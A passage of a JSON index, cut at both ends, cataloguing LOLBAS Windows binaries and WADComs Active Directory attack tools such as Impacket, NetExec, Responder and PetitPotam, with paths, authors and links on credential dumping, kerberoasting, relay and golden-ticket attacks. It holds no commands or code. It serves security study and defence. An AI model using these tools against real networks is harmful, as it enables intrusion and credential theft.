@countuponsec"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/"],"count":2},{"id":"lolbas:sqlps-exe","name":"Sqlps.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program files (x86)\\Microsoft SQL Server\\100\\Tools\\Binn\\sqlps.exe","C:\\Program files (x86)\\Microsoft SQL Server\\110\\Tools\\Binn\\sqlps.exe","C:\\Program files (x86)\\Microsoft SQL Server\\120\\Tools\\Binn\\sqlps.exe","C:\\Program files (x86)\\Microsoft SQL Server\\130\\Tools\\Binn\\sqlps.exe","C:\\Program Files (x86)\\Microsoft SQL Server\\150\\Tools\\Binn\\SQLPS.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Bryon @bryon_","Manny @ManuelBerrueta"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/"],"count":1},{"id":"lolbas:sqltoolsps-exe","name":"SQLToolsPS.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program files (x86)\\Microsoft SQL Server\\130\\Tools\\Binn\\sqlps.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Pierre-Alexandre Braeken @pabraeken"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/SQLToolsPS/"],"count":1},{"id":"lolbas:squirrel-exe","name":"Squirrel.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Teams\\current\\Squirrel.exe"],"author":"Reegun J (OCBC Bank) - @reegun21","created":"2019-06-26T00:00:00.000Z","contributors":["Reegun J (OCBC Bank) @reegun21","Adam @Hexacorn"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/"],"count":5},{"id":"lolbas:te-exe","name":"te.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["no default"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Giuseppe N3mes1s @gN3mes1s","Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/te/"],"count":2},{"id":"lolbas:teams-exe","name":"Teams.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe"],"author":"Andrew Kisliakov","created":"2022-01-17T00:00:00.000Z","contributors":["Andrew Kisliakov","mr.d0x @mrd0x"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Teams/"],"count":3},{"id":"lolbas:testwindowremoteagent-exe","name":"TestWindowRemoteAgent.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\RemoteAgent\\TestWindowRemoteAgent.exe"],"author":"Onat Uzunyayla","created":"2023-08-21T00:00:00.000Z","contributors":["Onat Uzunyayla"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/TestWindowRemoteAgent/"],"count":1},{"id":"lolbas:tracker-exe","name":"Tracker.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["no default"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subTee"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/"],"count":2},{"id":"lolbas:update-exe","name":"Update.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Teams\\update.exe"],"author":"Oddvar Moe","created":"2019-06-26T00:00:00.000Z","contributors":["Reegun Richard Jayapaul (SpiderLabs, Trustwave) @reegun21","Mr.Un1k0d3r @MrUn1k0d3r","Adam @Hexacorn","Jesus Galvez"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Update/"],"count":13},{"id":"lolbas:vsdiagnostics-exe","name":"VSDiagnostics.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe"],"author":"Bobby Cooke","created":"2023-07-12T00:00:00.000Z","contributors":["Bobby Cooke @0xBoku"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSDiagnostics/"],"count":2},{"id":"lolbas:vsiisexelauncher-exe","name":"VSIISExeLauncher.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\Extensions\\Microsoft\\Web Tools\\ProjectSystem\\VSIISExeLauncher.exe"],"author":"timwhite","created":"2021-09-24T00:00:00.000Z","contributors":["timwhite"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/"],"count":1},{"id":"lolbas:visio-exe","name":"Visio.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Office\\Office14\\Visio.exe","C:\\Program Files\\Microsoft Office\\Office14\\Visio.exe","C:\\Program Files (x86)\\Microsoft Office\\Office15\\Visio.exe","C:\\Program Files\\Microsoft Office\\Office15\\Visio.exe","C:\\Program Files (x86)\\Microsoft Office\\Office16\\Visio.exe","C:\\Program Files\\Microsoft Office\\Office16\\Visio.exe","C:\\Program Files (x86)\\Microsoft Office\\root\\Office14\\Visio.exe","C:\\Program Files\\Microsoft Office\\root\\Office14\\Visio.exe","C:\\Program Files (x86)\\Microsoft Office\\root\\Office15\\Visio.exe","C:\\Program Files\\Microsoft Office\\root\\Office15\\Visio.exe","C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\Visio.exe","C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio.exe"],"author":"Avihay Eldad","created":"2024-02-15T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Visio/"],"count":1},{"id":"lolbas:visualuiaverifynative-exe","name":"VisualUiaVerifyNative.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["c:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\arm64\\UIAVerify\\VisualUiaVerifyNative.exe","c:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\x64\\UIAVerify\\VisualUiaVerifyNative.exe","c:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\UIAVerify\\VisualUiaVerifyNative.exe"],"author":"Jimmy (@bohops)","created":"2021-09-26T00:00:00.000Z","contributors":["Lee Christensen @tifkin","Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/"],"count":1},{"id":"lolbas:vslaunchbrowser-exe","name":"VSLaunchBrowser.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\VSLaunchBrowser.exe","C:\\Program Files (x86)\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\VSLaunchBrowser.exe"],"author":"Avihay Eldad","created":"2024-04-12T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSLaunchBrowser/"],"count":3},{"id":"lolbas:vshadow-exe","name":"Vshadow.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\x64\\vshadow.exe"],"author":"Ayberk Halaç","created":"2023-09-06T00:00:00.000Z","contributors":["Ayberk Halaç"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vshadow/"],"count":1},{"id":"lolbas:vsjitdebugger-exe","name":"vsjitdebugger.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["c:\\windows\\system32\\vsjitdebugger.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Pierre-Alexandre Braeken @pabraeken"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/vsjitdebugger/"],"count":1},{"id":"lolbas:wfmformat-exe","name":"WFMFormat.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\there\\is\\no\\default\\installation\\path\\WFMFormat.exe"],"author":"Tim Baker","created":"2024-12-05T00:00:00.000Z","contributors":["Tim Baker (https://www.dotsec.com)"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/WFMFormat/"],"count":1},{"id":"lolbas:wfc-exe","name":"Wfc.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v10.0A\\bin\\NETFX 4.8 Tools\\wfc.exe"],"author":"Jimmy (@bohops)","created":"2021-09-26T00:00:00.000Z","contributors":["Matt Graeber @mattifestation","Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/"],"count":1},{"id":"lolbas:windbg-exe","name":"WinDbg.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\windbg.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm\\windbg.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm64\\windbg.exe"],"author":"Avihay Eldad","created":"2025-07-16T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/WinDbg/"],"count":1},{"id":"lolbas:winproj-exe","name":"WinProj.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Office\\Office14\\WinProj.exe","C:\\Program Files\\Microsoft Office\\Office14\\WinProj.exe","C:\\Program Files (x86)\\Microsoft Office\\Office15\\WinProj.exe","C:\\Program Files\\Microsoft Office\\Office15\\WinProj.exe","C:\\Program Files (x86)\\Microsoft Office\\Office16\\WinProj.exe","C:\\Program Files\\Microsoft Office\\Office16\\WinProj.exe","C:\\Program Files (x86)\\Microsoft Office\\root\\Office14\\WinProj.exe","C:\\Program Files\\Microsoft Office\\root\\Office14\\WinProj.exe","C:\\Program Files (x86)\\Microsoft Office\\root\\Office15\\WinProj.exe","C:\\Program Files\\Microsoft Office\\root\\Office15\\WinProj.exe","C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WinProj.exe","C:\\Program Files\\Microsoft Office\\root\\Office16\\WinProj.exe"],"author":"Avihay Eldad","created":"2024-02-14T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/WinProj/"],"count":1},{"id":"lolbas:winword-exe","name":"Winword.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Office\\root\\Office16\\winword.exe","C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\winword.exe","C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\winword.exe","C:\\Program Files (x86)\\Microsoft Office\\Office16\\winword.exe","C:\\Program Files\\Microsoft Office\\Office16\\winword.exe","C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\winword.exe","C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\winword.exe","C:\\Program Files (x86)\\Microsoft Office\\Office15\\winword.exe","C:\\Program Files\\Microsoft Office\\Office15\\winword.exe","C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\winword.exe","C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\winword.exe","C:\\Program Files (x86)\\Microsoft Office\\Office14\\winword.exe","C:\\Program Files\\Microsoft Office\\Office14\\winword.exe","C:\\Program Files (x86)\\Microsoft Office\\Office12\\winword.exe","C:\\Program Files\\Microsoft Office\\Office12\\winword.exe","C:\\Program Files\\Microsoft Office\\Office12\\winword.exe"],"author":"Reegun J (OCBC Bank)","created":"2019-07-19T00:00:00.000Z","contributors":["Reegun J (OCBC Bank) @reegun21"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/"],"count":1},{"id":"lolbas:wsb-exe","name":"wsb.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Users\\<user>\\AppData\\Local\\Microsoft\\WindowsApps\\wsb.exe"],"author":"Konrad 'unrooted' Klawikowski","created":"2026-05-28T00:00:00.000Z","contributors":["Konrad 'unrooted' Klawikowski","Lloyd Davies @LloydLabs"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/wsb/"],"count":3},{"id":"lolbas:wsl-exe","name":"Wsl.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Windows\\System32\\wsl.exe"],"author":"Matthew Brown","created":"2019-06-27T00:00:00.000Z","contributors":["Alex Ionescu @aionescu","Matt @NotoriousRebel1","Asif Matadar @d1r4c","Nasreddine Bencherchali @nas_bench","Konrad 'unrooted' Klawikowski","Liran Ravich, CardinalOps"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/"],"count":5},{"id":"lolbas:xbootmgr-exe","name":"XBootMgr.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgr.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgr.exe"],"author":"Avihay Eldad","created":"2025-07-10T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad","Tommy Warren"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/XBootMgr/"],"count":2},{"id":"lolbas:xbootmgrsleep-exe","name":"XBootMgrSleep.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgrsleep.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgrsleep.exe"],"author":"Avihay Eldad","created":"2024-06-13T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad","Yuval Saban @yuvalsaban3"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/XBootMgrSleep/"],"count":1},{"id":"lolbas:devtunnel-exe","name":"devtunnel.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Users\\<username>\\AppData\\Local\\Temp\\.net\\devtunnel\\devtunnel.exe","C:\\Users\\<username>\\AppData\\Local\\Temp\\DevTunnels\\devtunnel.exe"],"author":"Kamran Saifullah","created":"2023-09-16T00:00:00.000Z","contributors":["Kamran Saifullah @deFr0ggy"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/devtunnel/"],"count":1},{"id":"lolbas:dotnet-counters-exe","name":"dotnet-counters.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Users\\<user>\\.dotnet\\tools\\dotnet-counters.exe"],"author":"Iván Cabrera","created":"2026-08-27T00:00:00.000Z","contributors":["Iván Cabrera @ivancabrera02"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/dotnet-counters/"],"count":1},{"id":"lolbas:dotnet-trace-exe","name":"dotnet-trace.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Users\\<user>\\.dotnet\\tools\\dotnet-trace.exe"],"author":"Iván Cabrera","created":"2026-08-27T00:00:00.000Z","contributors":["Iván Cabrera @ivancabrera02"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/dotnet-trace/"],"count":1},{"id":"lolbas:vsls-agent-exe","name":"vsls-agent.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["c:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\Extensions\\Microsoft\\LiveShare\\Agent\\vsls-agent.exe"],"author":"Jimmy (@bohops)","created":"2022-11-01T00:00:00.000Z","contributors":["Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/vsls-agent/"],"count":1},{"id":"lolbas:vstest-console-exe","name":"vstest.console.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\vstest.console.exe","C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\TestAgent\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\vstest.console.exe"],"author":"Onat Uzunyayla","created":"2023-09-08T00:00:00.000Z","contributors":["Onat Uzunyayla","Ayberk Halac"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/vstest.console/"],"count":1},{"id":"lolbas:winfile-exe","name":"winfile.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Windows\\System32\\winfile.exe","C:\\Windows\\winfile.exe","C:\\Program Files\\WinFile\\winfile.exe","C:\\Program Files (x86)\\WinFile\\winfile.exe","C:\\Program Files\\WindowsApps\\Microsoft.WindowsFileManager_10.3.0.0_x64__8wekyb3d8bbwe\\WinFile\\winfile.exe"],"author":"Avihay Eldad","created":"2024-04-30T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/winfile/"],"count":1},{"id":"lolbas:xsd-exe","name":"xsd.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\<version>\\bin\\NETFX <version> Tools\\xsd.exe"],"author":"Avihay Eldad","created":"2024-04-09T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/xsd/"],"count":1},{"id":"wadcoms:ADCSEnumaration","name":"ADCSEnumaration","source":"WADComs","platform":["Windows"],"references":["https://github.com/GhostPack/Certify","https://posts.specterops.io/certified-pre-owned-d95910965cd2","https://www.thehacker.recipes/ad/movement/adcs/"],"count":1},{"id":"wadcoms:BloodHound.py","name":"BloodHound.py","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://github.com/BloodHoundAD/BloodHound","https://github.com/fox-it/BloodHound.py"],"count":2},{"id":"wadcoms:CredDumpWithoutMimilkatz","name":"CredDumpWithoutMimilkatz","source":"WADComs","platform":["Windows","Linux"],"references":["https://www.ired.team/offensive-security/credential-access-and-credential-dumping","https://www.synacktiv.com/en/publications/lsa-secrets-revisiting-secretsdump"],"count":1},{"id":"wadcoms:Dementor","name":"Dementor","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc","https://www.praetorian.com/blog/active-directory-computer-account-smb-relaying-attack"],"count":1},{"id":"wadcoms:Enum4Linux","name":"Enum4Linux","source":"WADComs","platform":["Linux"],"references":["https://github.com/CiscoCXSecurity/enum4linux"],"count":2},{"id":"wadcoms:Evil","name":"Evil","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://github.com/Hackplayers/evil-winrm","https://book.hacktricks.xyz/cryptography/certificates"],"count":3},{"id":"wadcoms:FindUncommonShares","name":"FindUncommonShares","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://github.com/p0dalirius/FindUncommonShares"],"count":1},{"id":"wadcoms:Impacket","name":"Impacket","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://github.com/SecureAuthCorp/impacket/blob/master/examples/dcomexec.py","https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/","https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py","https://podalirius.net/en/articles/exploiting-windows-group-policy-preferences/","https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetADUsers.py","https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py","https://www.tarlogic.com/en/blog/how-to-attack-kerberos/","https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py","https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py","https://github.com/SecureAuthCorp/impacket/blob/master/examples/lookupsid.py","https://www.puckiestyle.nl/impacket/","https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py","https://www.praetorian.com/blog/active-directory-computer-account-smb-relaying-attack","https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/","https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py","https://www.sans.org/blog/psexec-python-rocks/","https://book.hacktricks.xyz/windows/active-directory-methodology/pass-the-ticket#pass-the-ticket-attack","https://github.com/SecureAuthCorp/impacket/blob/master/examples/rbcd.py","https://github.com/tothi/rbcd-attack","https://github.com/SecureAuthCorp/impacket/blob/master/examples/rpcdump.py","https://www.hackingarticles.in/impacket-guide-smb-msrpc/","https://github.com/SecureAuthCorp/impacket/blob/master/examples/reg.py","https://github.com/SecureAuthCorp/impacket/blob/master/examples/samrdump.py","https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbclient.py","https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py","https://www.varonis.com/blog/insider-danger-stealthy-password-hacking-with-smbexec/","https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py","https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy","https://github.com/SecureAuthCorp/impacket/blob/master/examples/services.py","https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py","https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#wmiexecpy","https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py","http://blog.redxorblue.com/2019/12/no-shells-required-using-impacket-to.html","https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py","https://u0041.co/blog/post/1","https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py","https://github.com/SecureAuthCorp/impacket/blob/master/examples/getTGT.py","https://github.com/fortra/impacket","https://www.thehacker.recipes/ad/movement/dacl/grant-rights","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse","https://www.thehacker.recipes/ad/movement/kerberos/ptt","https://www.thehacker.recipes/ad/movement/kerberos/delegations","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/constrained-delegation","https://swarm.ptsecurity.com/kerberoasting-without-spns/","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast","https://github.com/fortra/impacket/blob/master/examples/goldenPac.py","https://attack.mitre.org/techniques/T1558/","https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server","https://www.thehacker.recipes/ad/movement/mssql","https://www.thehacker.recipes/ad/movement/mssql/execution","https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py","https://www.thehacker.recipes/ad/movement/domain-settings/machineaccountquota","https://www.thehacker.recipes/ad/movement/ntlm/relay","https://www.thehacker.recipes/ad/movement/credentials/dumping/laps","https://posts.specterops.io/certified-pre-owned-d95910965cd2","https://www.thehacker.recipes/ad/movement/adcs/relay","https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd","https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab","https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials","https://www.thehacker.recipes/ad/movement/dacl/grant-ownership","https://www.thehacker.recipes/ad/movement/domain-trusts/child-parent","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/sid-history-injection","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/pass-the-ticket","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket","https://attack.mitre.org/techniques/T1558/001/"],"count":48},{"id":"wadcoms:Kerbrute","name":"Kerbrute","source":"WADComs","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/ropnop/kerbrute"],"count":4},{"id":"wadcoms:LDAPSearch","name":"LDAPSearch","source":"WADComs","platform":["Linux","ActiveDirectory","Windows"],"references":["https://linux.die.net/man/1/ldapsearch"],"count":2},{"id":"wadcoms:Mitm6","name":"Mitm6","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://github.com/dirkjanm/mitm6","https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/"],"count":1},{"id":"wadcoms:NetExec","name":"NetExec","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://blog.redteam-pentesting.de/2025/windows-coercion/","https://github.com/Pennyw0rth/NetExec","https://www.netexec.wiki/smb-protocol/scan-for-vulnerabilities","https://www.netexec.wiki/","https://attack.mitre.org/techniques/T1558/004/","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast","https://attack.mitre.org/techniques/T1558/003/","https://cybersecurity.bureauveritas.com/blog/timeroasting-attacking-trust-accounts-in-active-directory","https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates","https://posts.specterops.io/certified-pre-owned-d95910965cd2","https://www.netexec.wiki/ldap-protocol/enumerate-machineaccountquota","https://attack.mitre.org/techniques/T1087/002/","https://www.netexec.wiki/mssql-protocol/command-execution","https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server","https://www.netexec.wiki/mssql-protocol/authentication","https://www.netexec.wiki/mssql-protocol/mssql-privesc","https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing","https://www.netexec.wiki/smb-protocol/obtaining-credentials/gpp-password","https://attack.mitre.org/techniques/T1552/006/","https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-keepass","https://www.netexec.wiki/smb-protocol/spidering-shares","https://www.netexec.wiki/smb-protocol/obtaining-credentials/veeam"],"count":24},{"id":"wadcoms:Nmap","name":"Nmap","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://nmap.org/download.html","https://nmap.org/nsedoc/scripts/krb5-enum-users.html"],"count":1},{"id":"wadcoms:PKINIT","name":"PKINIT","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://github.com/dirkjanm/PKINITtools","https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/"],"count":2},{"id":"wadcoms:PSADmodule","name":"PSADmodule","source":"WADComs","platform":["Windows","ActiveDirectory"],"references":["https://github.com/samratashok/ADModule"],"count":1},{"id":"wadcoms:PetitPotam","name":"PetitPotam","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://github.com/topotam/PetitPotam","https://www.truesec.com/hub/blog/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory"],"count":1},{"id":"wadcoms:Powershell","name":"Powershell","source":"WADComs","platform":["Windows"],"references":["https://docs.microsoft.com/en-us/powershell/module/activedirectory/","https://github.com/samratashok/ADModule","https://www.labofapenetrationtester.com/2018/10/domain-enumeration-from-PowerShell-CLM.html"],"count":1},{"id":"wadcoms:PwshADmodule","name":"PwshADmodule","source":"WADComs","platform":["Windows"],"references":["https://redfoxsec.com/blog/attacking-kerberos-delegation/","https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html","https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/","https://github.com/samratashok/ADModule","https://docs.microsoft.com/en-us/powershell/module/activedirectory/"],"count":2},{"id":"wadcoms:PyLDAPmonitor","name":"PyLDAPmonitor","source":"WADComs","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/p0dalirius/LDAPmonitor/tree/master/python"],"count":1},{"id":"wadcoms:PyWhisker","name":"PyWhisker","source":"WADComs","platform":["Linux","ActiveDirectory","Windows"],"references":["https://github.com/shutdownrepo/pywhisker"],"count":1},{"id":"wadcoms:RPCClient","name":"RPCClient","source":"WADComs","platform":["Linux","ActiveDirectory","Windows"],"references":["https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html","https://www.ired.team/offensive-security/enumeration-and-discovery/enumerating-windows-domains-using-rpcclient-through-socksproxy-bypassing-command-line-logging"],"count":1},{"id":"wadcoms:Regexe","name":"Regexe","source":"WADComs","platform":["Windows"],"references":["https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/","https://www.hackingarticles.in/windows-persistence-using-winlogon/","https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg","https://docs.microsoft.com/en-us/windows-hardware/drivers/install/runonce-registry-key"],"count":1},{"id":"wadcoms:Responder","name":"Responder","source":"WADComs","platform":["Linux","Windows","ActiveDirectory"],"references":["https://github.com/lgandx/Responder","https://www.ivoidwarranties.tech/posts/pentesting-tuts/responder/cheatsheet/","https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/llmnr-nbtns-mdns-spoofing","https://attack.mitre.